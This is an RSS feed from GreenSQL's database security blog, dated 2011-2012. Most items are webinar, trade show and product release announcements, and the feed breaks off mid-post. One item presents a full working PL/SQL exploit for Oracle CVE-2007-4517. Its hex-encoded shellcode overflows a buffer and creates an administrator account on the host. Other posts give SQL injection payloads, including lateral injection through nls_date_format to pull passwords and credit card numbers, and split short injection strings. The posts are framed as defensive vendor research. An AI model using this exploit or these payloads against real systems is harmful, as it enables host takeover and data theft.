<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Unified Database Security Blog</title>
	<atom:link href="http://www.greensql.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.greensql.com/blog</link>
	<description></description>
	<lastBuildDate>Wed, 16 May 2012 14:09:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Register to our live webinar and learn how to protect your sensitive information using Real-Time Dynamic Data Masking</title>
		<link>http://www.greensql.com/blog/2012/05/register-to-our-live-webinar-and-learn-how-to-protect-your-sensitive-information-using-real-time-dynamic-data-masking/</link>
		<comments>http://www.greensql.com/blog/2012/05/register-to-our-live-webinar-and-learn-how-to-protect-your-sensitive-information-using-real-time-dynamic-data-masking/#comments</comments>
		<pubDate>Wed, 16 May 2012 14:09:00 +0000</pubDate>
		<dc:creator>sarit</dc:creator>
				<category><![CDATA[GreenSQL]]></category>

		<guid isPermaLink="false">http://www.greensql.com/blog/?p=218</guid>
		<description><![CDATA[Dynamic Data Masking is an emerging technology that provides real-time data masking in changing environments, typically in production databases. GreenSQL Dynamic Data Masking enables you to mask or randomize any sensitive information stored on MS SQL Server, MySQL and PostgreSQL databases. Register Now! When? Wednesday, May 23, 2012 (9:00 am PDT; 12:00 pm EST; 16:00 pm [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Dynamic Data Masking is an emerging technology that provides real-time data masking in changing environments, typically in production databases.</strong></p>
<p><strong>GreenSQL Dynamic Data Masking enables you to mask or randomize any sensitive information stored on MS SQL Server, MySQL and PostgreSQL databases.</strong></p>
<p><a title="register" href="http://www.greensql.com/webinars/register?utm_source=blog post&amp;utm_medium=blog post&amp;utm_campaign=webinar_may_2012" target="_blank"><strong>Register Now!</strong></a></p>
<p><strong>When?</strong> Wednesday, May 23, 2012 (9:00 am PDT; 12:00 pm EST; 16:00 pm GMT; 19:00 pm GMT+3:00)</p>
<p>In this webinar, <strong>David Maman, GreenSQL Founder and CTO</strong>, will explain:</p>
<ul>
<li>What Real-Time Dynamic Data Masking is?</li>
<li>How to dramatically reduce the risk of a data breach?</li>
<li>How to better comply with regulations?</li>
<li>How to enforce real-time dynamic data masking?</li>
<li>How to provide a proactive security layer around applications, reports and tools?</li>
<li>How to selectively apply masking rules based on end-user identity and access rights?</li>
<li>How to achieve Row Level Security or a Virtual Private Database with Dynamic Data Masking?</li>
</ul>
<p>&nbsp;</p>
<p><a title="register" href="http://www.greensql.com/webinars/register?utm_source=blog post&amp;utm_medium=blog post&amp;utm_campaign=webinar_may_2012" target="_blank"><strong>Register Now!</strong></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.greensql.com/blog/2012/05/register-to-our-live-webinar-and-learn-how-to-protect-your-sensitive-information-using-real-time-dynamic-data-masking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Meet GreenSQL @ Infosecurity Europe 2012</title>
		<link>http://www.greensql.com/blog/2012/04/meet-greensql-infosecurity-europe-2012/</link>
		<comments>http://www.greensql.com/blog/2012/04/meet-greensql-infosecurity-europe-2012/#comments</comments>
		<pubDate>Mon, 23 Apr 2012 13:24:40 +0000</pubDate>
		<dc:creator>sarit</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[Infosecurity Europe]]></category>

		<guid isPermaLink="false">http://www.greensql.com/blog/?p=208</guid>
		<description><![CDATA[Join GreenSQL at Infosecurity Europe 2012. Visit the GreenSQL booth J83b at the New Exhibitor Zone for live product demos and your chance to win a very cool tech gadget. Book an appointment: marketing@greensql.com See live demos and hear from our expert, GreenSQL’s Founder and CTO, David Maman. For more information please visit our website: [...]]]></description>
			<content:encoded><![CDATA[<p>Join GreenSQL at <a title="Infosec UK" href="http://www.infosec.co.uk/" target="_blank">Infosecurity Europe 2012</a>. Visit the <strong>GreenSQL booth J83b</strong> at the New Exhibitor Zone for live product demos and your chance to win a very cool tech gadget.</p>
<p>Book an appointment: <a href="mailto:marketing@greensql.com" target="_blank">marketing@greensql.com</a></p>
<p>See live demos and hear from our expert, GreenSQL’s Founder and CTO, David Maman.</p>
<p>For more information please visit our website: <a title="GreenSQL website" href="http://www.greensql.com/" target="_blank">http://www.greensql.com/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.greensql.com/blog/2012/04/meet-greensql-infosecurity-europe-2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Join our live webinar and learn how to protect your most sensitive information &#8211; It’s time to take action!</title>
		<link>http://www.greensql.com/blog/2012/03/join-our-live-webinar-and-learn-how-to-protect-your-most-sensitive-information-its-time-to-take-action/</link>
		<comments>http://www.greensql.com/blog/2012/03/join-our-live-webinar-and-learn-how-to-protect-your-most-sensitive-information-its-time-to-take-action/#comments</comments>
		<pubDate>Wed, 14 Mar 2012 15:53:42 +0000</pubDate>
		<dc:creator>sarit</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[database hacking methods]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.greensql.com/blog/?p=196</guid>
		<description><![CDATA[In the past few years, hackers, hacktivists and criminals have targeted millions of databases. Any information you own is at risk. Join GreenSQL&#8217;s live webinar and learn the actions required in order to protect your invaluable information and that of your customers. Security expert David Maman, Founder and CTO of GreenSQL, the Unified Database Security Company, [...]]]></description>
			<content:encoded><![CDATA[<p>In the past few years, hackers, hacktivists and criminals have targeted millions of databases. Any information you own is at risk.</p>
<p>Join GreenSQL&#8217;s <a title="register" href="http://www.greensql.com/webinars/register?utm_source=blog&amp;utm_medium=post&amp;utm_content=links&amp;utm_campaign=webinar_reg_20_march" target="_blank">live webinar</a> and learn the actions required in order to protect your invaluable information and that of your customers.</p>
<p>Security expert David Maman, Founder and CTO of GreenSQL, the Unified Database Security Company, will cover the following topics:</p>
<p>-         Advanced database hacking methods</p>
<p>-         Common database security threats</p>
<p>-         How to protect databases from SQL injection attacks</p>
<p>-         Separation of duties as part of the information security cycle</p>
<p><strong>When</strong>: Tuesday, March 20, 2012, 10:00 – 11:00 am EDT (Eastern Time US and Canada, GMT-4)</p>
<p><em><strong>One participant will win a full GreenSQL Enterprise License!   </strong></em><strong><a title="register" href="http://www.greensql.com/webinars/register?utm_source=blog&amp;utm_medium=post&amp;utm_content=links&amp;utm_campaign=webinar_reg_20_march" target="_blank">Register Now</a></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.greensql.com/blog/2012/03/join-our-live-webinar-and-learn-how-to-protect-your-most-sensitive-information-its-time-to-take-action/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>It&#8217;s Time to Take Action &#8211; GreenSQL 2.1.4 Is Now Available</title>
		<link>http://www.greensql.com/blog/2012/03/2-1-4_is_now_available/</link>
		<comments>http://www.greensql.com/blog/2012/03/2-1-4_is_now_available/#comments</comments>
		<pubDate>Mon, 05 Mar 2012 15:46:07 +0000</pubDate>
		<dc:creator>sarit</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[Auditing]]></category>
		<category><![CDATA[Database performance]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[Masking]]></category>
		<category><![CDATA[Unified Database security]]></category>

		<guid isPermaLink="false">http://www.greensql.com/blog/?p=185</guid>
		<description><![CDATA[The GreenSQL Unified Database Security solution is proceeding at a rapid pace. We are pleased to announce that our latest release, GreenSQL 2.1.4, is available for immediate download. The GreenSQL Unified Solution features Security, Auditing, Masking and Performance for databases  in one suite, ensuring that databases are protected from internal and external threats in real-time, while improving performance and [...]]]></description>
			<content:encoded><![CDATA[<p>The GreenSQL Unified Database Security solution is proceeding at a rapid pace. We are pleased to announce that our latest release, GreenSQL 2.1.4, is available for immediate <a href="http://portal.greensql.com/products/buy-now?utm_source=blog&amp;utm_medium=post&amp;utm_campaign=214_announcement&amp;utm_content=download_link">download</a>.</p>
<p>The GreenSQL Unified Solution features <strong>Security, Auditing, Masking and Performance for databases  in one suite</strong>, ensuring that databases are protected from internal and external threats in real-time, while improving performance and facilitating database security policy compliance.</p>
<p><strong>Download any GreenSQL package and get GreenSQL&#8217;s Enterprise Edition functionality for an evaluation period of 14 days. </strong></p>
<p>Read more: <a href="http://www.greensql.com/content/greensql-214-now-available?utm_source=blog&amp;utm_medium=post&amp;utm_campaign=214_announcement&amp;utm_content=news_link">http://www.greensql.com/content/greensql-214-now-available</a></p>
<p><a href="http://www.greensql.com/blog/wp-content/uploads/2012/03/Dashboard-2.png"><img class="alignnone  wp-image-192" src="http://www.greensql.com/blog/wp-content/uploads/2012/03/Dashboard-2-1024x640.png" alt="" width="614" height="384" /></a></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.greensql.com/blog/2012/03/2-1-4_is_now_available/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Frontiers in Information Security &#8211; Insights from my lecture at WizeNight</title>
		<link>http://www.greensql.com/blog/2012/02/new-frontiers-in-information-security-insights-from-my-lecture-at-wizenight/</link>
		<comments>http://www.greensql.com/blog/2012/02/new-frontiers-in-information-security-insights-from-my-lecture-at-wizenight/#comments</comments>
		<pubDate>Tue, 14 Feb 2012 13:46:31 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[cyber attack]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.greensql.com/blog/?p=166</guid>
		<description><![CDATA[Last Wednesday evening, I gave a talk at the WizeNight gathering in Tel Aviv, Israel. Wize is a new nonprofit organization that organizes WizeNights, free lectures for people who want to learn interesting and important things, over a beer. This time, the event took place at the Bialik Bar. My talk covered topics such as the [...]]]></description>
			<content:encoded><![CDATA[<p>Last Wednesday evening, I gave a talk at the WizeNight gathering in Tel Aviv, Israel. <a href="https://www.facebook.com/WizeNight">Wize</a> is a new nonprofit organization that organizes WizeNights, free lectures for people who want to learn interesting and important things, over a beer. This time, the event took place at the Bialik Bar.</p>
<p>My talk covered topics such as the hype about recent computer security attacks, the lack of social networking security for our virtual presence, database information security, credit card readers and zero-day attacks.</p>
<p>Here are 5 facts I shared with the crowd that most didn’t know:</p>
<p>1. Identity theft is a bigger crime than drugs in the U.S.<br />
2. Social networking is highly unsecured.<br />
3. Many of the largest companies worldwide have been exposed to SQL injection attacks.<br />
4. Internet commerce is more secure than the average mall store.<br />
5. Chances are that your home computers have already been compromised by some sort of malware.</p>
<p>It surprised me to see how many people showed up…and stayed until the end to hear about real-life examples of cyber-attacks!</p>
<p>To view the full video (in Hebrew): <a href="http://www.youtube.com/watch?v=xnlHpkXKxYQ" target="_blank">http://www.youtube.com/watch?v=xnlHpkXKxYQ</a></p>
<p>Enjoy,</p>
<p>David</p>
]]></content:encoded>
			<wfw:commentRss>http://www.greensql.com/blog/2012/02/new-frontiers-in-information-security-insights-from-my-lecture-at-wizenight/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New exploit to Oracle CVE-2007-4517 vulnerability</title>
		<link>http://www.greensql.com/blog/2011/11/new-exploit-to-oracle-vulnerability/</link>
		<comments>http://www.greensql.com/blog/2011/11/new-exploit-to-oracle-vulnerability/#comments</comments>
		<pubDate>Wed, 02 Nov 2011 09:13:53 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[database firewall]]></category>
		<category><![CDATA[Database hacking]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://blog.greensql.com/?p=160</guid>
		<description><![CDATA[Summary As part of GreenSQL&#8217;s Database security research,  we&#8217;ve been validating and extending coverage of known and unknown vulnerabilities in order to increase GreenSQL product security, at this post we will reveal a full working Prove of Concept for the CVE-2007-4517 vulnerability which executes arbitrary code. The Exploit: PL/SQL/2007-4517 exploit is a PL/SQL procedure that [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Summary</strong></p>
<p>As part of GreenSQL&#8217;s Database security research,  we&#8217;ve been validating and extending coverage of known and unknown vulnerabilities in order to increase GreenSQL product security, at this post we will reveal a full working Prove of Concept for the CVE-2007-4517 vulnerability which executes arbitrary code.</p>
<p>The Exploit: PL/SQL/2007-4517 exploit is a PL/SQL procedure that exploits the CVE-2007-4517 vulnerability, also known as Oracle Database XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA Procedure Multiple Argument Remote Overflow.</p>
<p>The vulnerability is caused due to a boundary error in the XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA procedure when processing the OWNER and NAME arguments to create an SQL query.</p>
<p>This can be exploited to cause a buffer overflow by passing overly long OWNER and NAME arguments to the affected procedure.</p>
<p><strong>Symptoms</strong></p>
<p>System Changes:<br />
•    New administrative user account.<br />
(Username: GreenSQL, Password:GreenSQL)<br />
•    OracleServiceXE service turns off.</p>
<p>Technical Information<br />
The exploits has been tested on:<br />
• Windows XP Professional SP3.<br />
• Oracle Database 10g Express Edition.</p>
<p>All the known exploits and POC&#8217;s developed for this vulnerability so far are Denial-of-Service exploits.</p>
<p>This is a New exploit that actually executes arbitrary code and adds a new user account to the database host operating system.</p>
<p><strong>The Exploit</strong></p>
<p>The PL/SQL procedure calls to the xDb.XDB_PITRIG_PKG.PITRIG_DROPMETADATA() function with two arguments:<br />
1. “123”.<br />
2. Buffer (2305 bytes)</p>
<p>The buffer consists of payload, jmp instructions, arithmetic instructions and garbage.</p>
<p>When executing the code, the EBX contains the starting address of the buffer + 0x7A5.</p>
<p>In order to execute the payload in the buffer, the following steps needs to be performed:<br />
1. The EIP should point to an address contains the jmp EBX instruction.<br />
2. At the [EBX] address, the exploit needs to jmp -0x7A5 to the start of the buffer.</p>
<p>Jumping to EBX<br />
In order to jump to the address in the EBX register, the EIP should be set to 0x 095F7160.</p>
<p>Jumping to the Payload<br />
In order to execute the payload, the following instructions needs to be performed:<br />
sub ebx, 0x7a5<br />
jmp ebx</p>
<p>The opcodes of the first instruction are:<br />
0&#215;81, 0xEB, 0xA5, 0&#215;07, 0&#215;00, 0&#215;00.<br />
One of the limitations of HEXTORAW() function, is that it&#8217;s not able to deal with 0&#215;00 characters.<br />
Because of that reason, instead of using the sub ebx, 0x7a5 instruction, the following instructions need to be performed:<br />
sub bl,0xb0<br />
add bh,0xfa<br />
jmp ebx</p>
<p>Which are equivalent to:<br />
sub ebx, 0x5b0<br />
jmp ebx</p>
<p>Which is equivalent to jmp ebx-0x5b0.</p>
<p>The opcodes of those instructions are:<br />
0&#215;80, 0xEB, 0xB0, 0&#215;80, 0xC7, 0xFA, 0xFF, 0xE3, which are able to be processed by the HEXTORAW() function.</p>
<p><strong>The Payload</strong></p>
<p>The payload’s size is 308 bytes (of 0x7A5-0x5B0 = 0x1F5 = 501 payload’s space)</p>
<p>The payload creates a new user account, called “GreenSQL”, with the password “GreenSQL”.<br />
After creating the user account, it adds the user to the “Administrators” group.</p>
<p>The exploit code is available below.</p>
<p><strong>Conclusions</strong></p>
<p>It&#8217;s extremely important to make sure that you have updated your Database with the latest patches and security updates the database vendor has released, this prove of concept shows how it&#8217;s possible to gain control over your database host operating system using older vulnerability, which with extended research can be transformed to a new exploit.</p>
<p>Database security solutions, like GreenSQL, provides additional layer of defense against known and unknown attacks.</p>
<p><strong>The Exploit POC<br />
</strong></p>
<pre>#################################################
## GreenSQL   ########    Proof-of-Concept     ##
## This code is for educational purposes only  ##
#################################################
declare
 sc varchar2(32767);
 junk varchar2(32767);
 junk2 varchar2(32767);
 EBX varchar2(32767);
 junk3 varchar2(32767);
 JMP2SC varchar2(32767);
 junk4 varchar2(32767);
 EIP varchar2(32767);
 junk5 varchar2(32767);
 begin
 junk:='@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';
 sc:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('d9c6bd60dd3d66d9742
 4f45b31c9b147316b18036b1883c3643fc89a8c36'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('33634c29bd8
 67d7bd9c32f4ba986c320ff3250442834d1e30e7be2c58ed72047732a7
 4a74ae589a68b1861fa4456d3ebe12aef0a26214f7543f63bcf4a27934
 404df9803b5de4d5089a9fa'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('a379282afa8
 21a1251bd929fabf9157fdef16502d9c114d86cd4bfabd73c417881b74
 d35c59051c80aab6e41ad7ce7118a58a3c2b3f909a5cc1af51a6950144
 f0b3b738e99413a90a1496df890c2e27f2d01478f6708ee072ed8b24ad
 136f07252b389814ab68ccecc'));
 sc := sc || UTL_RAW.CAST_TO_varchar2(HEXTORAW('2afd5fb94c5
 260e82e39fa3dd4b967623959470c20e9a7a5d974d56559057c030bba2
 f87f37bbd7291ed122c15d2bb8fe156e329cc768d5064573df4e7f6d16
 d9a975c027a29fa8f13c76b2390650ab737f8bf178f8e5a3d613cf5f15
 dedb44ddaf1'));
 junk2:='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 EBX:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('EB10')) || 'CCCCC';
 junk3:= 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE';
 JMP2SC:=UTL_RAW.CAST_TO_varchar2(HEXTORAW('80EBB080C7FAFFE3'));
 junk4:='@@@@@@@@@@@@@@@@@@@@@@@@';
 EIP:= UTL_RAW.CAST_TO_varchar2(HEXTORAW('095f7160095f7160095f71
 60095f7160095f7160095f7160095f7160095f7160095f7160')); -- jmp EBX
 junk5:='CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC';
 xDb.XDB_PITRIG_PKG.PITRIG_DROPMETADATA('123', junk||sc||junk2||EBX
 ||junk3||JMP2SC||junk4||EIP||junk5);
 end;</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.greensql.com/blog/2011/11/new-exploit-to-oracle-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lateral SQL Injection in Oracle Database</title>
		<link>http://www.greensql.com/blog/2011/09/lateral-sql-injection-in-oracle-database/</link>
		<comments>http://www.greensql.com/blog/2011/09/lateral-sql-injection-in-oracle-database/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 15:31:37 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[Blind SQL Injection]]></category>
		<category><![CDATA[databa]]></category>
		<category><![CDATA[database firewall]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://blog.greensql.com/?p=153</guid>
		<description><![CDATA[Lateral SQL Injection in Oracle Database &#160; Overview ======= In order to get the system date in Oracle, you able to query for sysdate field in table dual. SQL&#62; select sysdate from dual; SYSDATE &#8212;&#8212;&#8212;&#8212;&#8211; 15-SEP-11 SYSDATE format is set in: nls_date_format. Following the publication: Lateral SQL Injection: A New Class of Vulnerability in Oracle, [...]]]></description>
			<content:encoded><![CDATA[<h1>Lateral SQL Injection in Oracle Database</h1>
<p>&nbsp;</p>
<p>Overview<br />
=======</p>
<p>In order to get the system date in Oracle, you able to query for sysdate field in table dual.<br />
<span style="color:#0000ff;">SQL</span>&gt; <span style="color:#0000ff;">select</span> sysdate <span style="color:#0000ff;">from</span> dual;<br />
SYSDATE<br />
<span style="color:#008000;">&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
15-SEP-11</p>
<p>SYSDATE format is set in: nls_date_format.</p>
<p>Following the publication: Lateral SQL Injection: A New Class of Vulnerability in Oracle, (http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf) published by David Litchfield, FEB/2008.</p>
<p>This post provides an overview and a demonstration on how this issue is still easily exploitable in Oracle Database.</p>
<p>&nbsp;</p>
<p>Vulnerability<br />
=========</p>
<p>Nls_date_format allows input of any string without filtering.<br />
Example:  <span style="color:#0000ff;">alter session set</span> nls_date_format = <span style="color:#ff0000;">&#8216;&#8221;the time is:&#8221;&#8230; hh24:mi&#8217;</span></p>
<p>After running that command, the SYSDATE will return the constant sentence “the time is…” and the [hours]:[minutes] (note that the hours are in 24 hours format).</p>
<p><span style="color:#0000ff;">SQL</span>&gt; <span style="color:#0000ff;">select</span> sysdate <span style="color:#0000ff;">from</span> dual;</p>
<p>SYSDATE<br />
<span style="color:#008000;">&#8212;&#8212;&#8212;&#8212;&#8211;</span><br />
the time is:&#8230; 14:27</p>
<p>By manipulating this “feature”, the user can manipulate PL/SQL procedures which base on SYSDATE.<br />
In example, take a look on the following PL/SQL procedure:</p>
<p><span style="color:#0000ff;">create</span> or replace <span style="color:#0000ff;">procedure</span> date_proc is<br />
stmt varchar2(200);<br />
v_date <span style="color:#0000ff;">date:</span>=sysdate;<br />
<span style="color:#0000ff;">begin</span><br />
<span style="color:#0000ff;">stmt:</span>=<span style="color:#ff0000;">&#8216;select object_name from all_objects where created = &#8221;&#8217; </span>|| v_date ||<span style="color:#ff0000;">&#8221;&#8221;</span>;<br />
dbms_output.<span style="color:#0000ff;">enable</span>;<br />
dbms_output.put_line(stmt);<br />
<span style="color:#0000ff;">execute immediate</span> stmt;<br />
<span style="color:#0000ff;">end</span>;</p>
<p>The procedure set the variable v_date and set it as SYSDATE.</p>
<p>After setting <strong>v_date</strong>, the procedure sets <strong>stmt</strong> as “select object_name from all_objedcts where created =<strong> ‘[v_date]’</strong>;, which returns the names of all objects that created at the date specified in <strong>v_date</strong>.<br />
Note that to run and get dbms_output, you need to <strong>set serveroutput on</strong> before executing the procedure.</p>
<p>Example: <span style="color:#0000ff;">select</span> object_name <span style="color:#0000ff;">from</span> <span style="color:#008000;">all_objects </span><span style="color:#0000ff;">where</span> created = <span style="color:#ff0000;">&#8217;15-SEP-11&#8242;</span>;</p>
<p>Exploitation<br />
==========<br />
An attacker can manipulate that procedure by setting nls_date_format to<strong> ‘ or 1=1&#8211;</strong>.</p>
<p><span style="color:#0000ff;">alter session set</span> nls_date_format = <span style="color:#ff0000;">&#8216;&#8221;&#8221; or 1=1&#8211;&#8221;&#8216;</span>;</p>
<p>In this case, <strong>stmt</strong> will be:<br />
<span style="color:#0000ff;"><br />
select</span> object_name <span style="color:#0000ff;">from</span> <span style="color:#008000;">all_objects </span><span style="color:#0000ff;">where</span> created =<span style="color:#ff0000;"> &#8216;’ or 1=1&#8211;&#8217;</span>;</p>
<p>Which will return all object_name in <span style="color:#008000;">all_objects</span>.</p>
<p>in addition, it is able to execute any SQL command, in example:<br />
<span style="color:#0000ff;">alter session set</span> nls_date_format = <span style="color:#ff0000;">&#8216;&#8221;&#8221; union select username from users&#8211;&#8221;&#8216;</span>;<br />
<span style="color:#0000ff;">alter session set</span> nls_date_format =<span style="color:#ff0000;"> &#8216;&#8221;&#8221; union select password from users&#8211;&#8221;&#8216;</span>;<br />
<span style="color:#0000ff;">alter session set</span> nls_date_format = <span style="color:#ff0000;">&#8216;&#8221;&#8221; union select credit_card_number from clients&#8211;&#8221;&#8216;</span>;<br />
etc..</p>
]]></content:encoded>
			<wfw:commentRss>http://www.greensql.com/blog/2011/09/lateral-sql-injection-in-oracle-database/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Shortest SQL Injection Attack</title>
		<link>http://www.greensql.com/blog/2011/09/shortest-sql-injection-attack/</link>
		<comments>http://www.greensql.com/blog/2011/09/shortest-sql-injection-attack/#comments</comments>
		<pubDate>Wed, 14 Sep 2011 20:23:47 +0000</pubDate>
		<dc:creator>David Maman</dc:creator>
				<category><![CDATA[GreenSQL]]></category>
		<category><![CDATA[Database hacking]]></category>
		<category><![CDATA[database security]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://blog.greensql.com/?p=144</guid>
		<description><![CDATA[&#160; Shortest SQL Injection Attack syntax &#160; Overview ======= In many cases, the user’s input is limited to a specific length. Although the user’s input length is limited, many times the server is vulnerable to SQL Injection attack&#8217;s. In this post, we’ll discuss two scenarios and how SQL injections attacks are being exploited using shortest [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;</p>
<h1>Shortest SQL Injection Attack syntax</h1>
<p>&nbsp;</p>
<p>Overview<br />
=======<br />
In many cases, the user’s input is limited to a specific length.<br />
Although the user’s input length is limited, many times the server is vulnerable to SQL Injection attack&#8217;s.<br />
In this post, we’ll discuss two scenarios and how SQL injections attacks are being exploited using shortest SQL injection attack syntax.</p>
<p>Get Database Name through 2-fields attack<br />
==============================<br />
In this scenario, the attacker attacks a web application which receives First-Name and Last-Name, and outputs its matched e-mail address. (see appendix A)</p>
<p>The original SQL query sent to the database is:<span style="color:#0000ff;"></p>
<p>select</span> EmailAddress <span style="color:#0000ff;">from</span> Person.Contact <span style="color:#0000ff;">where</span> FirstName = &#8216;@fn&#8217; and LastName = &#8216;@ln&#8217;; &#8211;where @fn and @ln are the user’s input.</p>
<p>In order to get the database name, the attacker can easily input the following string into one of the fields:</p>
<p>&#8216;<span style="color:#0000ff;"> union select</span> db_name();&#8211;</p>
<p>That string’s length is 27 bytes.</p>
<p>If the user’s input length is limited to 15 bytes for each field, the previous attack will be blocked. Even though, the attacker can input the following strings to bypass the limitation:</p>
<p>•    First Name: &#8216;<span style="color:#0000ff;">union select</span>/* (15 bytes)<br />
•    Last Name: */db_name();&#8211; (12 bytes)</p>
